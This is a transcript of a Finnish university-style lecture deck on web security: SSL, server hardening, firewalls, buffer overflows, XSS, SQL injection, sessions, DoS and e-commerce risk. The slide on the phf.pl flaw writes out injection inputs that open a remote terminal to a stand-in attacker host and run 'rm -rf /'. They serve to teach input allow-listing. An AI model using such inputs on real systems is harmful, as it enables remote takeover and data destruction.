1 / 42

WWW:n tietoturva

WWW:n tietoturva. Tietoturvan perusteet. Tietoturvan peruskäsitteet. Tietojen muuttamattomuus eheys, integrity Tietojen salaisuus luottamuksellisuus, confidentality Mahdollisuus käyttää omia tietoja käytettävyys eli saatavuus, availability Tapahtumien todistettavuus

niveditha
Download Presentation

WWW:n tietoturva

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. WWW:n tietoturva

  2. Tietoturvan perusteet

  3. Tietoturvan peruskäsitteet • Tietojen muuttamattomuus • eheys, integrity • Tietojen salaisuus • luottamuksellisuus, confidentality • Mahdollisuus käyttää omia tietoja • käytettävyys eli saatavuus, availability • Tapahtumien todistettavuus • kiistämättömyys, non-repudiation

  4. Tietoturvan tavoitteet • Tietoturvallisuus on kustannustekijä, jolla pyritään välttämään suurempia kustannuksia • Tietoturvan perusta on turvasuunnittelussa • Tekniset ratkaisut suhteutettava muuhun turvaan • Rikollinen ylittää aidan matalimmasta kohdasta • Turvasuunnittelun lähtökohta: • Mitä meillä on? • Mitä uhkia siihen kohdistuu? • Miten ne torjutaan tai otetaan vastaan? • Uhkia on katsottava hyökkääjän, ei puolustautujan kannalta

  5. Kokemuksia tietoturvasta • Rikolliset muodostavat kustannustietoisen verkostoituneen taloussegmentin • WWW-palveluiden taloudellisen merkityksen kasvaessa, niiden houkuttelevuus kasvaa • Täsmähyökkäyksiä voi tilata tarpeen mukaan, esim. tiettyä verkkopankkia vastaan • Yritysmaailmassa sisäiset, omasta henkilöstöstä lähtevät uhat ovat suurin vahingonaiheuttaja • Palomuuri ei suojaa verkon sisällä • Realistisesti kuviteltavissa olevat tekniset uhat tullaan tuotteistamaan helppokäyttöisiksi ohjelmatuotteiksi • Salakuuntelu • Ohjelmistoaukkojen etsiminen • Uusien viruksien luominen

  6. Internetin tietoturva • Internet ei takaa minkäänlaista tietoturvaa • Perusprotokollien salakuuntelu on helppoa • IP-osoitteiden, sähköpostin ym. väärentäminen on mahdollista • IP-pakettien ja sähköpostin reitti verkossa satunnainen ja mahdollisesti altis erilaisille hyökkäyksille kuten • sisällön muuttaminen (esim. man-in-the-middle -hyökkäys) • yhteyden kaappaaminen • Yleisesti käytetyissä ohjelmissa on turvallisuusaukkoja

  7. WWW:n turvaongelmat • WWW-liikenne ei ole normaalisti salattua • Palvelimen omistajasta tai haltijasta ei voi varmistua • Mahdollisesti väärää tietoa • Mahdollisesti kerätään tietoa väärillä perusteilla • Phishing-hyökkäys • Mahdollisesti hyökkääjä esiintyy palvelimena ja ottaa varsinaiseen palvelimeen yhteyttä käyttäjän tunnuksilla • Man in the Middle • Palvelinohjelmistoissa on ollut turva-aukkoja • Mahdollistavat tunkeutumisen palvelimeen, tiedon muuttamisen ja varastamisen • Selainkin on mahdollista ottaa haltuun • Haittaohjelma muokkaa selainta • ActiveX-, Java- ja JavaScript-teknologioissa on ollut aukkoja

  8. Muita turvaongelmia • Erilaiset palvelunestohyökkäykset ovat mahdollisia • DoD, Denial of service -hyökkäys • Salakuunnellun viestin voi lähettää uudestaan, vaikka se olisi salattu ja allekirjoitettu • Replay- eli uudelleenlähetyshyökkäys • Avattuja ja tunnistettuja yhteyksiä on mahdollista kaapata • Väärä palvelin voi avata yhteyden oikeaan palvelimeen • Mahdollistaa esim. pankkitilin tyhjentämisen • Man in the middle -hyökkäys

  9. Käyttäjään kohdistuvat tietoturvauhat • Tietojen joutuminen ulkopuolisten käsiin • Petollinen WWW-palvelu • Etenkin luottokorttien numerot • Salakuuntelu • Tietojen ryöstäminen kauppapaikasta • Aiheettomat laskut, tilaukset ja toimitukset • Toimintahäiriöt organisaation prosesseihin • Internetin toiminta ei ole yhtä varmistettua kuin puhelimen • Yksityishenkilön tietosuoja • Murtuu jo pelkästään käyttäjälokeja yhdistelemällä

  10. WWW-käyttäjän tietoturva

  11. Aktiiviset komponentit • Aktiivinen komponentti on ohjelma, joka haetaan WWW-palvelimesta ja suoritetaan käyttäjän selaimessa • Eli käyttäjän koneessa suoritetaan ohjelmaa, josta käyttäjä ei tiedä mitään • Periaatteessa Java-tulkki sulkee ohjelman sisälleen hiekkalaatikkoon ja estää pääsyn koneen tiedostoihin ja muistiin • Käytännön toteutuksista on löydetty ja paikattu aukkoja suojauksista • Java-tulkki rajoittaa myös Java-ohjelman tietoliikenneyhteydet vain siihen koneeseen josta ohjelma on haettu • Javascipt, Jscript on selaimessa tulkattava ohjelmointikieli, jonka primitiivit (käskyt) ovat rajoitetumpia kuin Javassa • Javascriptillä ja Java-kielellä ei ole keskenään mitään yhteistä

  12. …Aktiiviset komponentit • ActiveX-ohjelmaa ei rajoiteta mitenkään (Windows 95-järjestelmässä) • ActiveX-ohjelman ajaminen voidaan sallia tai estää ohjelman varmenteeseen perustuen (tietoturva kaikkien käyttäjien käsissä) • Flash on visuaalinen ohjelmointikieli, joka on periaatteessa Javan tapaan kohtuullisen turvallinen, mutta siitä on löydetty myös aukkoja • Plug-init ovat ohjelmia, jotka käyttäjä asentaa tietoisesti selaimeen (esim. Flash tarvitsee tällaisen) • Muitakin tämäntapaisia komponenttijärjestelmiä on olemassa

  13. WWW:n salaus • WWW tarjoaa mahdollisuuden SSL-suojaukseen • Secure Socket Layer • Standardointinimi TLS (Transport Layer Security) • Sisältää WWW-liikenteen salauksen ja eheyden • WWW-palvelin voidaan tunnistaa SSL-varmenteen avulla • Käyttäjät on koulutettava tarkistamaan, että salaus on voimassa • Nykyään käytössä oleva salaus on käytännössä murtamatonta suoralla avaimen arvaushyökkäyksellä • Käytännön toteutus: • SSL-ohjelmisto WWW-palvelimen portissa 443 • Salatun SSL-putken läpi ajetaan normaalia HTTP-protokollaa • Välipalvelimet (proxyt) eivät näe SSL-suojatun liikenteen sisältöä

  14. WWW:n salauksesta varmistuminen • SSL tarjoaa tietoliikenteen salauksen ja palvelimen tunnistamisen • Salaus on päällä, kun selaimen pieni avaimen tai lukon kuva on kiinni • Lisäksi kannattaa opetella katsomaan kuvakkeen takana olevat tiedot varmenteista • On olemassa hyökkäyksiä, joilla WWW-yhteys saadaan näyttämään salatulta vaikka se ei ole

  15. Salattu WWW-yhteys URL alkaa HTTPS- protokollannimellä SSL-salaus on päällä

  16. Selaimen varmenteen tiedot Lukkoa näpäyttämällä saa varmenteen luettavaksi

  17. Käyttäjän näkemys tietoturvasta • Tietoturva on välttämätön paha, joka haittaa työntekoa • Käyttäjät ovat usein päteviä poistamaan työnteon esteet • Tietoturvan merkitystä ei arvosteta • Käytäntö lepsuu usein nopeasti • Käyttäjillä ei aina ole riittävää kompetenssia tietoturvan soveltamiseen • Jos intranetin WWW-palvelussa on linkki Internetissä olevaan palvelimeen ja siellä pyydetään käyttäjätunnusta ja salasanaa, kuinka moni käyttäjä antaa oman intranet-tunnuksensa ja -salasanansa? • Käyttäjiä on koulutettava ja tietoturvan merkitystä painotettava jatkuvasti • Organisaatioissa luotava turvaa tukevat toimintatavat • Käyttöliittymät kehitettävä turvaa tukeviksi • Käyttäjien turvatietoisuuden korvaaminen teknisillä ratkaisuilla on vaikeaa tai mahdotonta

  18. WWW-palvelimen tietoturva

  19. WWW-palvelimen suojaus • Poistetaan turhat palvelut koneesta ja palvelinohjelmistosta • Rajataan palomuurilla tai reitittimellä ulkoa päin tulevat yhteydet minimiin • Käytännössä sallitaan ainoastaan WWW-liikenne • Sähköposti ohjataan eri koneeseen tai välipalvelimen kautta • Tarvittaessa rakennetaan syvyyttä puolustukseen • Suojautuminen palvelunestohyökkäyksiä vastaan on mahdotonta • Ohjelmistopäivityksillä ja palomuurilla voidaan torjua tietyt hyökkäykset

  20. Palomuurit • Palomuuri on tietoliikennelaite, joka rajoittaa sen kautta kulkevaa liikennettä siihen asetettujen sääntöjen perusteella • Voi toimia pakettitasolla, jolloin se tunnistaa mihin IP-osoitteeseen (koneeseen) ja mihin porttiin (palveluun) paketti on matkalla tai tulossa • WWW-palvelin voidaan sijoittaa palomuurin taakse, jolloin hyökkääjä ei pääse kiinni koneessa oleviin FTP ja Telnet -palveluihin • Voi toimia sovellustasolla, jolloin se pystyy ottamaan kantaa myös siirrettävään sisältöön, esimerkiksi torjumaan virukset ja estämään Active-X -liikenteen • Sovellustason palomuuri mielekkäämpi yleensä asiakasorganisaatiossa kuin WWW-palvelimen yhteydessä

  21. WWW-palvelinohjelmisto • Palvelinohjelmisto saattaa vuotaa ei-levitettäväksi tarkoitettua tietoa • Linkit data-alueelta ulos • Ohjelmointivirheet palvelinohjelmissa mahdollistavat murtautumisen • Esim. gets()-funktio mahdollistaa ylivuotojen hyödyntämisen • Palvelinta tulisi ajaa minimaalisilla oikeuksilla • Oma käyttäjätunnus palvelinohjelmistolle • Ei pääkäyttäjän oikeuksilla

  22. Puskurin ylivuoto • Puskurin ylivuoto (buffer overflow) on C-kielen ja eräiden muiden ohjelmointikielten ongelma, joka on aiheuttanut paljon tietoturvaseurauksia • Toimii siten, että • Ohjelma varaa muistialueen ja lukee siihen rivin tekstiä, tarkistamatta rivin pituutta • Hyökkääjä kirjoittaa (verkon, tiedoston, sähköpostin) kautta ylipitkän rivin, joka luetaan muuttujan paikkaa seuraavalle muistialueelle • Hyökkääjä sijoittaa dataan esim. ohjelmakoodia ja pyrkii saamaan sen suoritettavaksi • Hyökkäys torjutaan siten, että muistiin kirjoitettaessa datan määrä rajoitetaan eksplisiittisesti char mybuf[21]; sprintf (mybuf, "%.20s", user_input);

  23. WWW:n interaktiivisten toimintojen aukot • WWW-lomakkeen tiedot välitetään palvelimessa olevalle ohjelmalle • Ohjelmakoodia ajetaan palvelinkoneessa ylläpitäjän asettamilla oikeuksilla • Minimaalisillakin oikeuksilla CGI-ohjelmalla on pääsy kaikkiin (Unix-) koneen tiedostoihin, joita ei ole erikseen suojattu • Useita eri ohjelmointikieliä- ja tekniikoita • C, Java, Perl, PHP, .asp, valmiit modulit selaimeen jne. • Ratkaisut: • Vaatimusmäärittely ennen ohjelmointia, mukaalukien turvamäärittely • Huolellinen ja turvatietoinen ohjelmointi • Interaktiivisten palveluiden toiminnan ymmärtäminen • Lomaketta tulkitsevan ohjelman ominaisuuksia rajoittavat työkalut

  24. Käyttäjän syötteen käsittely • Systeemikutsut ovat erityinen riski • Huonosti kirjoitetussa ohjelmassa käyttäjän syöte välitetään käyttöjärjestelmälle komentorivillä, argumentti voi sisältää rivieroittimen ja käskyjä • Käyttäjän syöte kannattaa sanitoida muista kuin luvallisista merkeistä heti ohjelman alussa • Vastaava ongelma SQL-kielen kyselyiden kanssa • Mahdollistaa pääsyn tietokannan tietoihin ja jopa niiden muuttamisen • WWW:n lomakkeiden loogiset aukot • Lomake on palvelimen käyttäjälle luovuttama tiedosto • Paluutietoihin ei voi luottaa, käyttäjä saattaa editoida lomakkeen kenttiä ja muuttaa niitä

  25. Esimerkki: phf.pl • Perl-kielinen moduli lukee käyttäjän antaman hakunimen muuttujaan ja käynnistää hakuohjelman $result = ‘ph $name‘; • Käyttäjä syöttää: foo; xterm -disp machine.attacker.com & • Ratkaisu 1: Filtteröidään komentotulkin tuntemat erottimet pois | & ; ( ) < > • Mutta rivinvaihtokin on komentoerotin... http://...?foo%0arm%20-rf%20/ • Oikea ratkaisu: Listataan sallitut merkit, estetään kaikki muu A-Z, a-z ja 0-9

  26. Cross Site Scripting • WWW-sivulla oleva JavaScript suoritetaan periaatteessa "hiekkalaatikossa " kuten Javakin • Käytännössä selaimissa on virheitä, joiden ansiosta hiekkalaatikko vuotaa ja antaa ohjelmille vääriä oikeuksia • Hyökkääjän palvelimelta tai sähköpostissa tulleet JavaScriptin komennot saadaan näyttämään siltä, kuin ne tulisivat kohdepalvelimelta ja hyökkääjän ohjelma pystyy täten manipuloimaan kohdepalvelimen dataa (esim. varastamaan käyttäjän salasanan)

  27. SQL Injection • http://www.xkcd.com/327/

  28. Pääsyoikeudet WWW:ssä ja istunnon hallinta • Käyttäjätunnus ja salasana • WWW:n omalla Basic-suojauksella siirretään verkossa salaamatta • Syöttämisen jälkeen lähetetään palvelimelle jokaisen haun yhteydessä • Tämä ei ole enää merkittävästi käytössä • Salasana syötetään lomakkeeseen ja istunto hallitaan Cookie- ja URL-tietojen avulla • Salasana voi olla pysyvä tai kertakäyttöinen • Kertakäyttöinen salasana listasta tai laitteelta • Salasanan sijaan salausavain voi olla toimikortilla • Sovelletaan sähköistä allekirjoitusta • Toimikortti ei ole itsessään tunnistusväline vaan melko turvallinen paikka säilyttää salaus- ja allekirjoitusavaimia

  29. ...Pääsyoikeudet WWW:ssä ja istunnon hallinta • Cookie • Selaimeen talletettava informaationpätkä, joka palautetaan pyydettäessä • Säilyy sessiosta toiseen • Salakuunneltavissa • Ei toimi jos käyttäjä vaihtaa konetta • Cookiet ja IP-osoitteet voivat helpottaa käyttäjän tunnistusta, mutta niihin ei pidä luottaa liikaa • Biometriset järjestelmät (sormenjäljet jne.) • Eivät toimi verkkoympäristössä, huijaaminen liian helppoa

  30. WWW-käyttäjän tunnistaminen kolmannen osapuolen avulla • PKI-järjestelmää eli varmenteita käytettäessä varmentaja allekirjoittaa käyttäjän salausavaimen • Tunnistajalla on oltava varmentajan julkinen avain varmenteen tarkistamiseksi • Suomen pankkien TUPAS-järjestelmässä WWW-käyttäjän yhteys ohjataan pankin palvelimelle • Pankin järjestelmä tunnistaa käyttäjän käyttäen Internet-pankin kertakäyttöistä salasanaa • Pankin palvelin palauttaa tunnistetiedon tunnistusta pyytäneelle järjestelmälle • Molemmat järjestelmät ovat kryptografisesti (teoreettisesti) luotettavia • Turva on mahdollista vesittää toteuttamalla järjestelmä tai käyttämällä sitä väärin

  31. Palveluestohyökkäykset • Näyttävien tai poliittisesti kiinnostavien WWW-palvelimien ongelma • Näitä ei pystytä estämään täysin • Hyökkäyksen palvelinkonetta kuormittavaa vaikutusta voidaan vähentää sijoittamalla palvelimen eteen WWW-kytkin (Level 5 tai Level 7 switch) • Tällöin hyökkäys kuormittaa edelleenkin tietoliikenne yhteyttä • WWW-palvelu voidaan hajauttaa usealle palvelimelle, jotka sijaitsevat verkkotopologisesti erillään • Liikenne ohjataan DNS:n perusteella eri palvelimille • Esim. Akamai tarjoaa tätä palveluna

  32. WWW-proxyt ja -cachet • Proxy peittää takanaan olevat IP-osoitteet ja DNS-nimet • Suuri määrä eri käyttäjiä saman IP-osoitteen takana • Yksi käyttäjä usean IP-osoitteen takana • Cache häiritsee dokumenttikohtaista laskutusta • Palvelin voi kieltää dokumentin cacheamisen • Ratkaisuksi esim. cookiet tai uniikki URL • SSL-dokumentteja ei cacheta (SSL estää)

  33. Hyökkäyksen tunnistaminen • Intrusion Detection Systems, IDS • Hyökkäys tietoverkon koneisiin voidaan tunnistaa • Etsimällä verkon liikenteestä tunnettuja hyökkäyksiä (signatuureja) • Seuraamalla verkon liikennettä ja tunnistamalla epänormaali käyttäytyminen • Tarkkailemalla palvelimen tiedostoja ja tunnistamalla niiden muuttuminen • Heuristisilla analyyseillä systeemikutsuista • Käytännössä • Nykyiset järjestelmät tunnistavat paljon enemmän vääriä kuin oikeita hyökkäyksiä • Stealth-hyökkäysten tunnistaminen on vaikeaa • Raporttien tutkimiseen ja analysointiin vaaditaan erikoisosaamista

  34. Aktiiviset toimenpiteet • "Hyökkäys on paras puolustus" • Hyökkääjään voidaan kohdistaa samat toimenpiteet kuin mitä hänkin käyttää • Verkossa on helppoa tehdä valehyökkäys, ts. käyttää väärää osoitetta • Vastahyökkäys täyttää yleensä rikoksen tunnusmerkistön • Vastahyökkäys ei kannata, enintään voidaan kerätä tietoa hyökkäyksen lähteestä • Puolustusta voidaan tiukentaa väliaikaisesti kun ollaan hyökkäyksen kohteena • Vahingonaiheuttaja voi häiritä palvelun toimintaa ylläpitämällä jatkuvaa näennäishyökkäystä • Toistaiseksi ei näköpiirissä ole siis hyödyllisiä aktiivisia vastatoimia

  35. Rollback ja muu palautuminen • Hyökkäyksestä voi myös toipua palauttamalla hyökkäystä edeltävän tilan • Samalla kannattaa estää hyökkäyksen toisto • Siirretään WWW-sivusto toiselle palvelinohjelmistolle • Palautetaan palvelinohjelmiston edellinen versio • Wikipediassa kuka tahansa saa editoida artikkeleita, mutta aiempi versio voidaan palauttaa ja kiistanalainen artikkeli lukita editoinnilta. • Jatkuvuussuunnittelu on tärkeä osa tietoturvaa • Miten toivutaan vahingoista

  36. Verkkokaupan turva

  37. WWW-palvelun turvasuunnittelu • Määritellään palvelun tavoitteet • Kartoitetaan riskit • Analysoidaan palvelun tietovirrat • Tarkastellaan palvelua eri näkökulmista • Palveluntarjoaja, käyttäjä, vihamielinen taho

  38. Turvan rakennuspalikat • Turvan on oltava kokonaisvaltaista ja moniulotteista • Suunnitelma sekä koulutusta, ohjeita, sääntöjä ja tekniikkaa • Tekninen turvarajapinta suojaa tietoja teknisiltä uhilta • Koneet fyysisesti toimistorakennuksessa • Palomuuri rajaa verkosta tulevaa liikennettä • Salaus suojaa tietoja matkalla paikasta toiseen • Pääsy tietoihin määritellään tunnistamalla käyttäjät • Mahdollinen hyökkäys voidaan joskus tunnistaa valvontaohjelmalla • Virukset torjutaan virukset tuntevalla ohjelmalla • Sopimukset allekirjoitetaan kryptografisesti

  39. Komponenttien kokonaisuus I Asiakkaiden tiedot ovat erillään tietokannassa SSL-kiihdytin tehostaa salausta Uhkat WWW-palvelin tarjoaa kauppapaikan Palomuuri rajoittaa pääsyä IDS-järjestelmä hälyttää kaikesta muusta kuin tietokantaliikenteestä

  40. Verkkokaupan oikea tietoturva • Verkkokaupan tavoitteena on tuottaa rahaa lainsäädännön puitteissa • Esim. asiakastietojen säilyttäminen erillään edustapalvelimesta on pakollinen vaatimus • Kaikkien uhkien torjuminen on kalliimpaa kuin tiettyjen ottaminen vastaan • Asiakkaan tunnistamisen ja sähköisen allekirjoituksen sijaan kohtuullinen varmuus tilauksen oikeellisuudesta • Pienissä kaupoissa hävikki voidaan kestää • Suurissa kaupoissa on taloudellisesti kannattavaa käyttää puhelinta, faxia, kirjallista tilausta, ennakkomaksua jne.

  41. Yhteenveto • Kaikkia turvaratkaisuja on mainostettu "lopullisina ratkaisuina" • WWW:tä käytetään eri tarkoituksiin, joilla on omat tarpeensa, joihin on valittava oikeat ratkaisut • Valittu teknologia ei ole niin tärkeä kuin sen oikea käyttö • Turva on kustannuskysymys • Mitkä riskit voidaan ottaa vastaan • Toteutusprojektit vaativat osaamista ja ymmärrystä, sekä kaupallista, että teknistä

  42. Hyödyllisiä linkkejä • WWW:n tietoturva • http://www.w3.org/Security/ • tietosuoja mm.: http://www.w3.org/P3P/ • http://www.cgisecurity.com/ • http://www.owasp.org/ • Yleisestä tietokoneiden tietoturvasta • http://www.cert.org/ • Viestintäviraston CERT-FI toiminta • http://www.ficora.fi/suomi/tietoturva/index.htm • Internet-standardit, myös kehitteillä olevat • http://www.ietf.org/

More Related